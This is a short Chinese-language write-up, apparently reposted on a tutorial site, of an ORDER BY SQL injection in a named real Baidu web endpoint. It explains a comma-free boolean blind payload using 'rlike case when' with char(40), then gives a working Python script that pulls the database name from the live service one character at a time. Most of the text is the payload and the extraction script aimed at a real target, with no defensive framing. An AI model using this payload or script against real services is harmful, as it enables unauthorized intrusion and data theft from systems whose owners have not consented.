百度一处orderby注入

巧了我就是萌 提交于 2019-12-02 18:31:41

存在的post数据

POST: http://trends.baidu.com/tour/ajax/scenic

provinceId=26&timestamp=1437191757000&orderby=heat,desc

orderby参数存在注入

这里的逗号会被替换成空格 也就是order by heat desc

所以不能带逗号 然后heat这个点不存在注入点 desc处是存在的

因为不能带逗号所以不能形成如下的注入语句

order by id desc,if((116>115),1,(select 1 from information_schema.tables))

经过测试发现可用如下payload

heat,rlike case when (1=1) then 1 else char(40) end

因为不支持0x28这种格式所以换成char(40)
1=1时正常
1=2时异常
形成bool盲注

写成脚本

import urllib
import urllib2
import httplib
import time
user = ''
for i in range(1,7):
    for j in range(32,127):
        values = {'provinceId':'26','timestamp':'1437191757000','orderby':'heat,rlike case when (ascii(mid(database()from('+str(i)+')for(1)))='+str(j)+') then 1 else char(40) end'}
        data = urllib.urlencode(values)
        req = urllib2.Request("http://trends.baidu.com/tour/ajax/scenic",data)
        response = urllib2.urlopen(req)
        html =  response.read()
        if html.find('"status":403')==-1:
            user = user + chr(j)
            print 'Database is : '+user
            break
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!